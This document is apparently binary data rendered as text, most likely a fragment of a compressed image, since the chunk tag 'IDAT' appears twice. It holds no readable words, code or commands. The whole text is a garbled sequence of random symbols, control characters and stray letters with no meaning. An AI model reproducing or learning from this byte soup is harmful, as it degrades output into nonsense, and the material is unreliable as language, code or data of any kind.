=\;]T+WoOsUtqť5?q]Q󗿡Wۿm;v~ÃjEuO}b:#O'Ai[zjot
(,pSSTO2W*~v)O	9.2D_MctÓԃWhtƃuSR\80ǿp
|P*ѻIHb C˘X=h杠-^zklS'4a5KG	nz(:q{4-t}?u	+F)3C4&ۗ7?AD,^NllGko^s?T6p)==	?
g.ggq
3cKp:?2ev|40'uqʬ{qe-/x$fr/Df)EuEK= 4Ӂ0i~ ?oȬy9KL_6IĴ\}}[DtDNZRc{}vq˻C@%Q?+=KuF`#_p	ەg.g׹uGVs󲏪 UoV/
t(|:;c3z-?6=s3wxJ]۳⼟9?gk1b޳>z=?=jLa~&3͜]֧mxïk];q/[97(wnYcnYQG,'>~&)3@gw{oH*n~#J};23uW|CXݜgv#rkWXmbYvB䎟J?%Y轶ݶ&U;3nK
M@PD^epӥyp-Ts/L	{fg_Lg{V
×,ޤ|}™5̈ᚪzBN,&H̑^X<6W׬s3{2ƾSDOlݏ[J/Ge-+dQTf 5g(H]*j߸@KKd{jT5HՄ{_Zb,_1)9_mzo}?S?kE/ga>Om#m;jX0ReTf{u-X?,Ab$71Rwb."Ur͑_&@p\͵8ˋOEqA5x/?璄Z\`Ek@ʼnEJ؏%N2*R?PC&OܦF,9(%qȏQQ}\!]e%|xP/znȒ$%o%p'R<o7yWdlW+l~hƪy{)wA!1?j<^ϗzhr2˜7Ƀ1x}ex1:;
n+0_2s$_/dgd)74mVS5z)@ByN5<
nvtoQv';{+Z͇oj•Հ9R{.l1ی,pQ	I)5[6o4S:8tZWԷd'&+{OCKӻhG=]71,u_A⇃I1WKsY(o:ah#E5ȮER7fWƃ`ߪʷV&G_P8<|ܷ+6\ox88]U쎯e=<mܧ]'(	e޻3WOsV,jnl<F̝U*-DŐjjqsh6i.͗B?ƪO"0B~!k_fT3dR$nŠ|PZ8}2S!׼Vtiz~O%fSqMŚꅄ˹Ig;%K
<_Zsoߜ'[ =c7䞟ܽ.5=99VP~#6@enDKE'?G&rU$u3?U{Hyr>ToaY,S=X|_;]
#Z$Έ$Z>Mx\C]gyTo}@YR4S{{nm͙JYʟXlam	`	ʁ!sKJ
o2  oޣQ,'?qsg6@U~K<Mx4v3\sb>SַQ1'u
5?a/9T	B;bQw#DQ@=o1<+4YM}07?(.hnH^bRg]bwv/Vs% )I`k0LwBs.ך2p>IYN̥sC"{>7Fkt'3YOH3Kݩ=5AFSiY͒o|a5)߭ͣ%AuǸO-{NGs*ЫpZJi1G2^&6ei?Z6_%Rqb_O͎T֟N[W)JfV 7H`uP7)x/ɛ}ܫ*Q7̦oU_}XYsHHi;q>IxVt P*6pG}i'Tdq}sƺ.\w{Gg2Zd?O̢4=ZÞYDo|~@>'r{鴟k|''ֺb9cBwL/?߉Ass^I~wnٟ^pߙn%Mk*>g!n's^uc/8_&l\I-)fI7)2}zzH63{
M!ysC!)^>9z
2YD
aM)M:VSz;T-C'[f6KK
٣_I2:^_楪Ĝ|6a+)@	Ͳ}{z3sB]Eg1ؙAwo}}2<̧5opǟ
uEqX
]9('W]WQ|
1Vz]Ꙥ]'ccQ?~ .+;dnhw+*z'YM|[-K./3ĥz6@͑4_';*LyWy9N,L:q3<Ua#WGϧ)٢3>Chxg]~wxlo4kߜ.!=*΍X$K/
z8lڵ$nܯ?BhZJ֧n/T]<`wbB`ksӁ>߃]۬e_<	:P^rz螞B}gKQ'\HON.+:q.*~kO9񇥝cu}>607&<$]QxVn9u[LZ.$Kc Xd'uH@ H9_S}8ؙԌyɧOS.뙹Nњ9;^,
pķ<GB-T:;s8ʼnV~Ω|(>g~(]9j_c2g{z̚[x!I0ldz¿EaOŏ$'W	p"m£/fW],Eami(]	]l
m5?0d,p)
wf5%&Q>~ĽݻEmP5"{7EvM#zk@M=Z3K|?	k۪{pV>kvB[?d?yۯwbsx-0sgԋ9L['Z#ֹ9Jkkl-K7|yZսc_vCnKW~uqo)5Jket@&ٺOY3XΧ:G^$o{F欃kBOwG ":7sg=CzIw-ǙINH}_A}[ ]T4sʈ?yo}=GwYI[:_/h'YAXsKȞ_ҋj]qW`W3e>ܾ7_>Ps%ݞv~XӻGXlLZ
e&;43o< G@UOq3)ŏhy?YIg&kW‡ZUSc/>a|<B4xwN:@U{bgzE"ڮOFZ"VT$/rʮ!?^Z0f?x:ޘr-_g4;xetMQh#
Ůs3v!;JaAY޽kDe5[CS^Y}ra0g#pZoy|"Wn߀pb:#1r؜T;{7/+EhH\K%,@FUa@pGtTZɸY1mXèOb{G3|ͺ8;7t\S>`Z~7I w|΂xT$oS&8?ǿjOpU=7J{}3h~C.{klNxWPzcFRW\w'֟XNMO-6ΐ)EץYp~л
xSo)	h|cé=37l_g0OCPBhv<w~SI^~~	Oomxvq=Kp@HC;!WILJϿ}4qЄ?xo/L8𲲜?>{F̽{LI(*=ܿJItq2Km=oXd1'Q^YU93=cA[Tjy7/kʫNeJL=~-v{UNYմ\猽AU}K`_8=|xxWn@Z.d'.h	6+=[,׹Y[qݔ/4+ST>o\*gj|̜KUþyopgzo
t}O`:_7U^sKI7Y]*]\*~ePP!XA9@}C0_MQ@HpfgėҪ9V$h|y: w#eN`YU<е6?	WYsӆ{@ܿgwA5{9=U=MO@/T8T?]!pF5tV
+W bj˂eu,h5A׼|aj~#Ώf\jyO-L/p/2EOf..z w9[C7_L.Mᩏrr4ݿgE,3{.K+}C07_k*,G?^r@T*l?ZNT>kn j]"	
WlLrz|) domB~ZSC>9|R͢\u0:q}YQQn'lw-Ċ0.X|pzf')
2[0!Tw?|a!co'nRlH
Z(f[*-ݸۢ$9kQ 7:|
.\[k2z?P^^o{xrrc*^X<M,fgUϣ>?N<O􃿗?{w]ȵsj03߻g(W芜R
*]O
sU1%n΍w"y8h)6pA:6xv]R9duW{bϥ7ݍ?^6w{[:%Sb5
߬'='
Xz카{ڙk"`-xh~Y>g{?K\3BK8OYųqbS"Q'_6FoY3~(E||)ccկw3
*q7Xݩ8}EQʼnyfEYﻣg6`ѝpİ;zo+%],淛bٿM?7^ԧ©w־]_~բ0WiRJiQ=~7~ib!8>Y=9s=kpVWRKֿ"J`eHj=ڟmDwO֩ohZ.V]=;*Vm>ȱTk
N8?׿,wBVgyܽQS$~3s53lߟ1Lv~ͥBTYv$Yh^8l'xk1_E{faH]Sҝ׫8sy 1wlz=״+yXJΌKh\眔{@7dFou=;xE9~]K_22?[y=%:5&?/cdbw*ݳ
]цGVtʗN+xs)ZiN|Q/O]v=jjޠ"%
Xǣ&GE53flV,B'ʷ{C1Y-s뷁|NcX=bB~܁m?T+%INBozSj'Q_p5v}:ЩmpĪ<7qtxoBO/}U.xW=)7j(N+=w~Yg{\-Ec\10믻&_U?":EuwOXci,]o90Qt?(Cț{H?ɪQ(ͷ_4zSy/JQ,'qp?xn:}.7n鬦I]+.6u Ĺ4ὨJ1EgUkob&'Q55$uE&ްGsx]>pyY-ujx;=xxsjmQ;:=Iykߦ8>d{p<2[unܜɑ[&\@S褆p{O,}S	G`_kia̭h;_z}{˶=;	5)`V{͖n"!:؜v%ļK؀ot_,\Q}bŨo6$Ϝ=Rjq8`~@
C+S*Nj~:+Оt	zĻg1h~f2HQkRy@jypoEG`[(q5I}"b|!ӿ\ۻ17S롷eo{8@>ZsCφO{xΠuAm`I Iב_?qp%\/ӫ}|ッzDuڀ0)cVj9?(7+]z+bqΏ†7$iԷJ\G9~[uQ\
%AhAOBauxp?{IЫv^4{@\$h8%1_Ywwʑ//z%2s~hָyN K
z}ΩLc﹚M {\]4W
yWbׇ5znU'G6B܏4+.Ǟsι7w/_5y%;ҝFC7ZuPxP|40US>N|

U\;,c8BuVok]3ʣs'Ls' 89u0˵5oe`ЉJT4{+:?g؃X[%vDY&Sx.	\:]GkZ[psI&!0A%֫W75E7gd~g+jr=:emھo5"[UyԧEB*HV.}&Mpuw~y&W0 Q/Sv*%t|{/.ԫt$%9縵p+g:#~}t
RwR)s6b;wvǷFD_y@ҠWx=1UmNg}pӜU2ß:pNj~಻k;Ԁҕ>(=g<AMgK 
9wCX5;h0qd\os.=: O%?
,t<wκNjw֗SӵT#|7׋uѤtĞڎ%6/]u;'~~f^wGWH>۾~Ǵ񚳜ZퟸoEueU[-Weeһw^>Ӷ}uqZ8e\cb玚ݻ'"_·ћ?fŶ:
5Ƭfs}GPg$U8S'd^qI{32gW.CAU	
OsW}[.ϷDR	|1kQ
	<qMaG@6]j{?x{CP_ڙʞQ@T	L=SSXh
7;gH,ю*d$:6qC|$sMySU+~gɥ˿\&@h\QGOė;Ȝ]+/~MUoM?	U>@?@>:Zl"??XkUE<ꃵo}%0D7qUt?Dx'B/Wks-f>2*fGm`
0M4\`=ԉ<>,22!ݿ#*1fs}өC@X>[Vz<DZ-
͑50AOz1pzjTkVoJY
h&Bҩq<"7!+AuVq`~XN
4Uaxzw5>	Jwd0+nVDZѫwyqTE<ǟMZ-'Bs^uRGxGs(=7|{._q
`"+Tdw@mιWw0'OqEr1|yig3O9pV7 $Y?w	Xf;gqW]wNGZ^-otcҕtˆݩ7@m2taj~W̏\s~ω߿\	<wlZucsϓtw4c0'8mTwiD9G:
S_|\It4g>);s?\\ᦆ=
ʳ}g/5by}0MPZpU^+7񹃙|"|$| EroaXX\H^O`4||=tw\ͽc͋7➑!z)qS<D62-HP	h~5M.U1^;9XI={^+6\$uR:?:Glcמ\|2C?%eϓ{ۃ/k_3_V+}GeƑ5.eOiFsy9vg|@d0~'"F
Uhy"+8iD
rmͨOD^{1?:7jLOt+|<g%,BտFο^j[|p܅R}'l@uMN]ts>Ƌ/ru}ļ/׹'[U=jXO8˔2V(N'՟~':l:ÏT++uь-[w1B#%B6jnʆ p~ު/	FCMOei/GdY
.28Z6;PK'O	_˵fRͅt֑I(ުr\Ͽ	!W
V*y|+Y+cTϒxIL:K7kyݖ}g@ȕ]*(?z߳`+hpg}*熖G÷88(#߀iMXl`OEBpQ_'B[x8`?jESֽ[5suUD·‡dgLkmScJmr::2qz)ŚkrC{4$2󮆰1y5W|k߳Q-wJ$a/s[z{KsEc@Nc8"8QΈ)Z\g!50i,CR/F6r_ϥw0BW'3IA=DixfVC?-	Y(W
VsZ(bù335QoFϼz~6: #_,.3)s兙r}?~.\E[v{^E2T
{q~?5?O~ki`ٺ; FZ9̮EY+F^hM,ge -:}wj\V>8<ٗw1s<8ߢɳϳԯ^
!TI;GNqgX&7?kg]DR_@vUG_.V =ֺ_gҙiV|ru鿭A?=]]*IE9xN,IܘZߏWMscg_?gd.PwZ)=7<ʮ(O6폧oDU.f `*=
__T]bop%|my/O(l=HȮk:`xZopq87nEBkJھ*k>:i:}Qϩy1>蛵~LoQSJRk\SM8sJ1΃XCQ-ᴾ_܁E۟9{I3US-8Ao5.8x
\djDf]5o-C=G?uA26@(soPS=e95踞V8[38i/gnUr[&*ݿor~u{dY.>6hJj>);uXv@T~.
6sה5hlB1(N^GOV+T,шo+<2껎/?rzσ<1W9q|]i@vOgL\@Ѕ2J
"_Vakbԧ}IV'c~"!bN,_E	ȓs׮=dNHu}Q}7n&w":h%Apc|Ÿ<<Eu/b+>.՚9Vp?{]!AmL0T0fZ|W:+x=gO	I]uWBT":q=_?&Iw,*t"˜lC^-G{Ch:|,exXZǚC/=	AĬمexlVwy~DGLk?o2XI7vn(ᅸ4,|yұ՚35]g{0c]ם-n29ݩPޕZ褾&UT}~>=I6n/xT;|HX#I\`={FxFC=HئR:=*:s6=klRnFENR`9X<˽׋Jlklz5[>;b9$Xmtk1K/~	{^3?o~KJux=puUIMQs̷+>.jG{'3BQ@IDAT?wV9DpKgB3sshNW}x]^SM{P$whg>'qT߿s󉃝w,
~S.WsjLSg7txS}-S{T&~{:BBGjOZ4a)k>@ɏf"\5mYH;sxbQπ5)͜aE:,t'wi}^#(y/q]Np:xbiB{T
Ss6X,q&)/ڃ`/ނV.	_ {}#L "@Uѡ4a4@ut!6]vCIthUWe/;s<ԘdeūMp=(2.Ni'zٻ6Lx~?tgo{3/\ɤ^_
e)xx<Q{
P kfki两z&)kJ_K9j#s?aVsrZ+f>Bo\qg_kR\G{
@w,tmW%b1]KejG׿IєK{[sw#[g
f{š.wA<<n~Ց`s~g
\s* ^N˟:b#1$iݠ"=:+Zy=\{
u) KhYlEXϟ0ܾHs̉"?ʊ~׾vɺnv'D,5!~+IF1Ă6,><(xW҇mO~
n
~ӕçqf1QB]y
[!LOy3ZM]%j|%aǡ6G缟w[xvpsui,sDޟ[Hy>D0}~>2UO]ÎngƣWQK	ڻ>* [aplj`kx=^O{ԛ}2ah:ա3[g([q؏Q=KWg/Wr.[s7_+W/>n
"~'޺4ƹx}?T37HwEmSwEO 6B
9;8Ek:H4K'9/NM+!s@v%+piL?ozE7tS¼A=yH$wŋ5"'O}NZ<?Ƶߋ瞳
Obmmefc7r?[w*seS6j=לk?j]1u;>H-2M3s߁;P
l]tՕ s{9y֕t[;pÇfR%x>}s×/\Ʀ"k{nJoX#t">!`8?–ֵg~w}
E>}8*+sh?RY7:F{EyީgP'OGI-:Y!_|pN?s+Q[ƕޟ!NNlc~.7=@i<^5k>^U?Hy/I>%IL+.u&bs`ci4g795
%?B:pd`Lms''3#&\ჰؠ#A׏3
Xʗ<k&%b;N|
_+"vH
?Sh?*ٚOyl`аy|0lZCaA?g*k6u9#]~lrs?枠?ο6H~Ķ|/?${eJS=!7}B(9;m]ۤ)cZĶ@@'hzARZ=E	<ߵɟhj/k(ۋP1P}Et2ݓ5礍J)%O9/c_ƥc+BhM\OG,kK.V3WLZqgB}|*_Y	(U=e/a	#?8#Etn\+4^|{~\uJ?uV\
3Z#~E98տ5[ـfL֫pV
zo5MRR'G%ىKG)?A+paHSA7Vyn߾dq2}6+R1<b>ޟ<_ܛum?`T?+/~}&^z"hmOL<G*訸C;|zγaNxͥ^;KkkWZlZ|C2Nff>g0zW]3t+8zɧ+>/g=}||OR3\0]'lG2h|AB]]?~/0Cs£wi%i+N~ug%MLG
<wZy=!?s9]7Oߌ7@OEfזlj;BV{1;8Giﻪ9C"3ŸϺus=ʐω'}(oW\LuL&JsMڙ.
}HYN{`N`[
q޹~_ݿn㱇nk97Qp/C{0gN_Ϋ4|#Y
TjklK[Ҹ$#nz*> *^kaRWk߇{uTZ4,Z	~s);gTNg]76|	~DKm7hlHۑ+6cRIGO}\#2Vݫ #jH#2(::_ҳlYrtQ~xf#j'G:w^I/&!̋ۿLP?'̍|Q?qIүr0Kk/b"g/1!Ku.J#|y\=e17
GrsMq<ê3IX=jNcj`,0L΀
lNp	CҔjppBv崠ߙs(Y 0|TrtaqUgKf}IKe:^dDh>[ퟳY6n%lO|1ٯAQ}b+z/Svbŗ;$+<#  ƽn#-_^%1r_1Wl	xR{˯u76YFtbҞUPJ%^1ů|҄*uR_۫4/\x:	;7|$P:+xֿ_?h'0y]U2?gg1&C{x{&	hGR7}SG93WŴ䨼	3"IFHqQ'R|Qɺ~J*~8>EfCvtW]@^NdI6{V~Ҍ0I:!_0-zuٝc9;9Q>;e7zy7ʆY9稈:t+7Gg_!lW1ЗJ<<FսsY1kY=l'4YBy#!uIGлȃ8c
g<s?=:kWާECߤk!ZkhbKoMf}߫vP~ug~ȫ[燜[xªfy{ h#MVT}ꘙ{g*v*I<>}6Uxo|Rspz(<(/Ou]mnk_)yNœl/u	gh;ȗe+P^AlEt_̜²gG
p`_[K১bl._n(d~g癤mڪeZĦ9!y-2~!g>H0s=veTkh=k{<bPA&
Xv3_isf֙Z6,:YcMT|g%m!kʿ(U(ԃ
Oy}sh{aP_93p$K}cr4qyƘ$_'jR8=l<YV*7@
\CWϏ+vi4Ϝ͙NIov'`m8s}X^SCdʪ|Y7OAW}]Q9$s{O(FǼ[V>:O"(٠֗Є:_o-M X#h:`_a.}6w.q8硫5.c3rN{Yy}/OHtOO!)AN7Sk_>Oi7>2>d"''ݯWJw.gT@]RsXqj~^x(?+5D"T+=&ZeVK{b]q/=R_#%oӊ:+=.
؅a+~V\q|ь$"W7tʿܕҥgڵHVb/n}裺\v uݾygnyTUsʀ3woWH?_Q[m_3Y4&<d}o?OuWe>^L44mxfvWA6`>l1|Ɂy-ʢZQ)5V;K#/A~TKO,>JU~%\kl)^xsCkqKتT'v"P'޵_Bw=rw[+`*ydɄS7JXͽ+
=<5(tX٬ZD&~%.~Hrh߯GqvJaο(7	:ˌ9ru?y^\Ep~`v/pdD:꩘bX-=O=S'E @NX3?DVrJX)R>1<8'3@o<0Xǿ!܉QeO"sRؚJ9
#V9k4wln\ix7Fk[MLi~-5|4Sh` !m3=k#*o4_v!wOykI9t.F<DZMǐg=AKS}ysk?ӣ#kƣ$d=]PEOd.bŷStgwr҅?ոҾԅQ]xa_s?H f%~?+]LTW=wVL:G@AGGjϙ/
P^o	sU}'#ECa@9bҎh3}}._/l)ll>p?tߏ1qx^!"Mm֎HkeE;	8*Xn~0sl_;T\rtkɩ~旞:\'_]{5i>xx,N#sM;ѱ973A9.,;FT;m9s^@M0ɀvS?DxH'<X߲M#ƻ^ނ
aKY=
ʃ|w6@K{6ج6$NV6|IAAztZB9NNK|yiiiS>s.XN<a@ݴtFaFff>Qf\)|c=ӁAh?dnΏL	x/jU!u[~MϿ1B[Gi P"ka}Sl$%gqP]\s[	"/;Qс 2%@+_|9ʺK|"#K=Ӿ(3?c\gG\7i	%&?~Y
>K[RNޤ9[(eb*={U,ڡT:x;T;ܷ>ß*-Q@A=+Y	B_X`o`kUA
[F\80><Q2~Ѕ;A*=olxxqNAfjឍ1^]|a}ߋmw?afr؄6{#+<O={̣\NJcn"Y묳5/deew)ևQQM۽J:A~)Q-<\ou/̵ս~g.gyj*i־?t)><Zqb0ξ	s]0aƧ3g~_ϧ"
&w7'v?>([%^HZUQB$|QAYt\߇щWy=Tux?hHzɀUMͱ4^\%. 3wW\EJ73s狟~LSq<9JscԾbI*gN
UFgҵNl;׿?ɸܠ7
ץ&g7`.ܝ,`Ԋb=YJw~	Gb?=Ƕk#6R恵ܾaMqr{۵Z}Wlap߯Ǚ1R2Cki]Kk~&?F+@fGʵKl;'8&mӺxٺ>H55 ޶ΚJXU霯'i}7&5ߟ4Vjjul}Ozc}N*-3=?[p?wmS	sauF5:	
\gcy7WbE50l9vKK1ALL܋qj?8x[=ԧ,q@Z[4+\U>#5=)KcAjI'[;|v33|vuK{w^9=/cF`wOae1{T5SVuλ]pqIJ+|c\'Q.qⓘteg	5s9=OV.mϒ@\a:xγhz?䢺#*<nUSY<qнcy.ǁ?ݧY/J',#vcߌ`w vv1t-j/+!IMڙh
JPeNU+}%yis4;<w6%:!	sI;?0<K¤&|6-0%+>0q@KZڪ<p	:.XP#*^f{;IS륫Y'b%C<H	5pɇ|/|>__FVx@%lOpoUx$YeOL˥b3B2uGJ 
/́Y`9J
!*Q	|į[u"lJ5嶥g#o?q4j<y"Zkr#O~>SHZS? >Wub$<]HuYoWrM
X&9tnإԡ3kV
Ou!aP
!o 3U|rC<?O[C<*W$w-8	>,Xݎqi37wgڻ{!'Ռ/}9GN|f{٣~nsyL\2V/(&:ag$as$i^vPuhM	%asĵ~_@ɶ[g$7YѮk=NkR#{bؤZt^#{&@my\YV%/qᾝ(nI6f]2^wu;~MP0nt6ί3Dޮb܄WT~kImb)|ߏmR'9aʻO)})Z?9q!Py*e޹o<H
uWYUq/"^[}ux}gim@4MVi%3֑\	*kuUL=6k/mޣH?j-З4N޿of8T9Ӏ+TpkUj8j}cߥ
٪̬eC<ֽBprT-Q~-Pވ>2j`ᦡ!6~t,H@N7N{m	dRhI%blLkL5fS}g{Z2m:?{X=
h5
&D<0\shluɞj\w,3%& [[Շ~]~g֓sLJR]	;)`ݦxŊn<gr;
=ȟY]YDW_u?IS7m{OO~
}Ouc\}	O(FH=yʺhߕP{Xxv}qٿ_(u0}l<];4{`;/NSQ[&mQNWZզW|nej yϵi;=-Kߡ
l+ۏ
D3$Xbu%E>W?lc;U=izѷ!Ý_M~UmB"iyGZfߜ`$=+g!ٛ@nK6c|sMΒ~:uEV\w2gkB-l͉yg}CVʻ(#6O`wu߅ܾѥsu}Rޯ~%!lVY{H Yr̎[~
u=y >矒n{smrVL&zv?U41*?,>4ָQ{8=Y<Ԝwaj.:u߅ZmwzF=3;:jU%nonJizm"w$	]Qlp&?IoӵwgWVF<uL7
4=!_{Z*rEh^N:wc~꬧:9)fXϦVx]c;¨Up?\.FU`g=&ۼWӯ<g[	}ʲ+?+~/Wީ37/zzOV
,k\~OO!}6d
iL-/Ұ==_>/'449v^o:5ݜ6Uee8_V"ai
]b
iGTO*pݘG/ŷNzYj
ԏ	mr]/\A&{;^S]QK.
/oVlؽgG<ڽo$W''dپ/?
w/άrgW]MK+I	ݔIs/"eTАVql%Ws|GeNMx~ffv-5~]KK7qE.αԍ3qdlbMYXh+T}ڛ
LHu$6	ޱ˾Eۏ1̞s{9yZOR;;b39/}doCŚMz
{V~ֱ紁%fO+tCgyJ=R{IWJw53HnӳS?.wk6^yULt5UYNSGɡ,}*}wI~~s|	೵3cV9>$<_<hWĽZ;wӫirO{FL:jA>\]{w𦁻 U{0|qR{U}?	ѿ;Ϗϴ|8;`ޜ9^gwxwG[1vOBGTuݹaݳQ}E|^\l6z
o&g#oPÀ,݃my*Цh_O.VS֓Vz>2@gK}6M6YN{ֱUZJ5+t@m/})S*ĥru˷w{hIӼd`
F>A͜u#EͰd{m'/AnўK܀a-|05blyk1}}
8u0
kUeV[|D
_+t-3q5/M+٤o:1?37P}R$c̣-逭C5wy丹{G'/:{sWB˧f.\V@A=<RGϸԫS'J(*ڳgy%3	?2/4Z#Z4#̈́UEWkLIU~+1nz~JL<@ٽ9PT,]J.2= $&tjιe PM2\L}k
Oo|J/gТWѪ׮`T3g8aCNܗL5щ
5;YSG^u`CA7|\+~rH힭҃7@d&7sVkG/͡Q_ey4Om-5S>R]:O^B|ɿߢ/	p9$zllj~KLe>jZzp|Ԡ0јdWɥMShx0rWV}W(ѷMiUܐqǥ
.\kAF2J>٪vBȸNY`hʋx)nVhM\\qT'|OԄZzlO9((-?G|7r?u%9#\/ڶ]%,F&vը˸yds@5f/XG<gFßYշ5Ns$B y9ly%"bMb9Id-dzj}4F1UL$?:`_qQ^j\HE5#-r><?97y<gS0eg*e!%ӔDKЍֽ{r{>{q:o=h㰴o/s'qp
㿛__ɼ=v~nX8I=vgz~pcS]|# Ycp0;W 3֘[x)bȿ7JUUlzS{w-r-";2=){0͞@,3k{9|?3vpo_G
Xw5Z~AvΉK0U?gsd?&Yx&>9\S<N983!~x~SӀ=?{^¾9Q~^1&'YH3i*@{s=]z8@Q40/?	.{%`̱Vg@x~urʥ?5Py=m3jUX7܉#p"9̽\BQ6U3f4knrВgxm!	[q_1lĿ%|z/-5'E84%4Fz<E# P"5	6gr')pL%-A噾O>
G|yN۳ٿgqm/9*IaTU+`wf`mӄ"C{z&^u..⧃}H<a	I%12ɚSr'D|,J	Õ1w
LuݸFp/:][WhFW ṿ
4Zv:u$u{\_47~~6ڮ#=%f'bM3__@xӶ[*d6y^'|u\dzN4`Ygq-ּ_Prw]X
l&?L܆nra+=O#k{IUSN>]9:jnyDzJ{JGG`ɏZ+ogRϫ!Kzzn(3\'}kx[@wT*)ң:=}.Wk
遠rO:FY}B;yɫaYKHEjxcf-Z}ޜO~<ϿQ)r	7jiX>ܞfSzĉNJ^b}!AkVMϒ?	rX"4Ļ?E~ir0?/9
Kmj{ol蝺w}m'~~ZPz1
S#}S<yF!S3왶3e?-7j/Dlnz~tcCƪ݀}\vZŝ=n>fvӓsSBisUC*vqU$כ>ꃁv8,o.L_l}HGխc~Fް_F=gZ홈_{鼋O_YU}G#C}7ȝBS3ئE3:~k=ԽԫލkHdb&QS<k.6"z}
o?Z)UY7t
:'5,UX#ٴ!2$
@z\	|xqt}"N\{=
Z݈8KZbfZo<\B3He2Zg}]>yo(>It"
2W40X:$<zޤ=bVɛ%G7xY6«X҅#a8oĞc@g:Z'r]b
mxҋA%!gUg
¬oBs6mq}[m>3˟ߺszUl\	jZ&ʻetGc(蠉bZ+}$ &;۔uY@IOp"%}/gTi٘.OrR{ngbc7_fح9Ш"?{ϯ)ABy]d.oK wd[s5i>:YͽLD\7_
?7u8"2Ĺ-5W{`>پ1R&OFxsn_MnKmf{ÈfNZa<d֗KE̻}%wc~$r}GgDQz+oK݇ٹkEOo`twic螷ĈٽE6?%
31fO'co}ǏWRձA7Elo~{T __'u>jKscmOQP-!sE$Πs~\94k]HYcH[OÍ/Iw'De^㡯g23.B&g/-5XiYr[bMR';h<]
B3OM(GBՙ칹&D&5sDTتpݣsXe02:KؘqqrA.-;^>ߗdtդ1EP򑞄m۾ֹgwza@J56rk2rӳ`.Lc?U }n^#.[۩ U~~oVeZ27_5eނ[
yB՝t4,N	Dߘ̡;ԋye5_Ju}9ps sH_~]驹->///_}ʘ#kg`8k;Ϣ8p]ݯzn~]o )@w~7B'5c
p2՝؋zZVWrBKR'|C@1ȸYN	kyiHf8G+Dc"R3~FC䲲~1D/$+{+_lHhM{n\kTY'!QA&_	> {j^	NIԲ~'rf-^+u"6<?@>sU5jt3ˎ5 7ˆd
LͧxUsq32Hعy~h}ZMERŸЭMbٞd;t~W}KH>?*O55φk򞧖gSk}Q<ŷ>0;;6"\XqGNsTo{C,/P}O:
!*/,怪Ԁ|O?xvWpļC=ZD(nYɯ9Q0QXf=h#ˊa|(/C gf0h5%pJzS\|{~<#8*Ƨ7,zzSj{%[5Pnk܊T9ѠO:9^5
;)obC%nSo>xsoU[gw}pIs
:wN^&\AEq+`FHu/͡]sb-GOlNǝsX??sx~#?Ӷqߟq.syTQgl&g%'\oi^CYL??Mª?\aDrwnMVX߿
wĉF{vNA]~';5=1;4?{XVsb=El>wOZG?'8s
b4kOG`Þþ?S.$!i
?9$E
?۩>+[6>gBt.b2@`i>ϻjpQ-+ֳϡ#yo`6Y<3X1RTs@Gx~4wa.6#9gOs{8|C~q"O]t\G$`UCE;@IDAT ~%\>s}W60gWV/8{0fԐG44EHMLH`s3unD't)w}j}eJj0eV	(ʳ`Fr?C@&spAePȉڳ$Z	k/'=sT؎0~AsWMf+>!4g4`ᫌ{|Hu#5~	M:-z*haWp_\`m=j^qW+GHME/˥t
~#i/qU-[៞yء@ğ=kSg"$ᐫqqlD40{6	O(6=gcHOSUsJ‰$HqD̬5^*:[̈qY~3nM;	TW=;0fnt=B8?[l4,3Uu@緕D}p5Ӿ2/"Ҳ}?3.ugv;eclFc|r漷؉?|u
q#}p賱vUgm}|ܔz+4>I5yH745[u!t7qOIH>
tGأ)@e>\٨Ytc-?0KDq"scG}P8> +à
p::v]01RJ	mqrWM$fi7RK&'q|нgcR?	S&:~Cg|"앋7%^|tz~׸g~y`;e&~yV~܍~hI{Z;>XsYgbb(.Rrƙqvp7NFCk%;ޟLsw}q0֧ϝzRɭŕJˆW?[AjK9/pqo`:wS!<۷b@gqbwcE}6K:ǚ+q5.$Ǔ,O<c)
4ʟ=Gb!ܤg?vf37vs8~h-Mt
\U'/8%5
)&e夝Ky-ONkp
r߯@t]̤@3@#X}"9R^|y-lOg|Fׄkj7y3Vgn\ܔg[>I_L*NL-xqsN1+҄L7J59@wDe+o5z)*7w{C}WaJ&[s}|3wcX`.YG

9"yn4O
~3:
h'J16	; {#:1
<V](eS_Nc/DFk_pzME8[=m|%.>y؉I۠w[FueQ0\^'x)߭Vw\Jtݦ[q+yJi%>̿|`x]Ieu69l'v,VkQ'$o}Mk?[	V?>{fj*zJWYkυJ)DcZqE15u/ɵ*6	糼l\?LA~tx4hݹQ%_ʟz<'^X_iH(v.Ӏ枙uUH˓a]@~<-zN|
kz
Vj'L\`B^[S}F_\z 
wmY@Rh>C/be k?{!{5]+/=3eu>`܄妆7MLJ׻DR,ty /etF×	W~(lpjlr3=/Y%ZW	Jk$:'Й.?:1v|jc+3kpL;s|<_̟瘙>zSD>~s7st@b>#HK81%kK~2ck,AM3kBy1g7@?rf%F4e3hh_D*?=x]
?M啾IG[xM◦0q[<g{2-5jZ,5~6eٜ>i\9b*
=-SqV`r<)KyrON_7agn}(;9M9_=
5b
Ղg:>1u/[ήo݋S^{-1ҖU[z@՜	)8ݜB~W0"l=GP_{J(MuFònkTJ&ʊDTx
_}/i@˻fҿ"K@W!׋wj'wybwQލ3e!x:=WRA2&gsq|:09y25|T6H1ʩbxhҼ5$	wP˽5Ulj|,-D$g@^H>zQrkJ NHV×5عwk͋__^ s,17}N.r렪JRdYPu):$4)?*$wH1?Y$Br}́+˞n_|0>vE\˥gMx<4sUstQ,}$H/ԩA>bud43ɢ)Ȇ\O;,cQ3^
T+
r&ZBwī'|5%kt~
8ɯjP5_kL=\qYk<S@1sПl
l&Bs[hQ/~p@SE\XG-Kk䕙<1>zfZ-Oϭzb񞻀R5oy蘓^<t˟3`]]{FMu@S(\HIRЍ%|]duSS//|;isp\ިHuds`~zo
<\i~V}j`95͟,k-o:=_ͱv<&\ٗx|ٓ_pz(KbYsl11aE,Fz";)ьC#$?@aJ:5ŒGUa>fGhx.{VtU^SUj±r/CGrfv5B/b➢'T-\1yL+cJ*og6hW	NWj,qe6e]^ϊżN,|_52Xks^{pDMJ7|IR^cQV%^@R{Vc?]u'}*)N[ͩ_d>@"O^f5qskp脏T/R}~$ԋNN\{vwl]O*>շh3_~_}QYp̮fDv>=oZ>4?RtX2Fu7ybs/$}MwN|vl* [-Iq8+\wb@UVZ<X`'Z]/0js9:u&>?'qInkI{Rhӑzu9=LSGu5Ve?8A{zGst)_|)ߖe##3N
?
_(Pl~|zC?45.Xs]Ym6>x~?!0<I51UM`Q5/\SYYpU3_u	'}K>m+S
̹
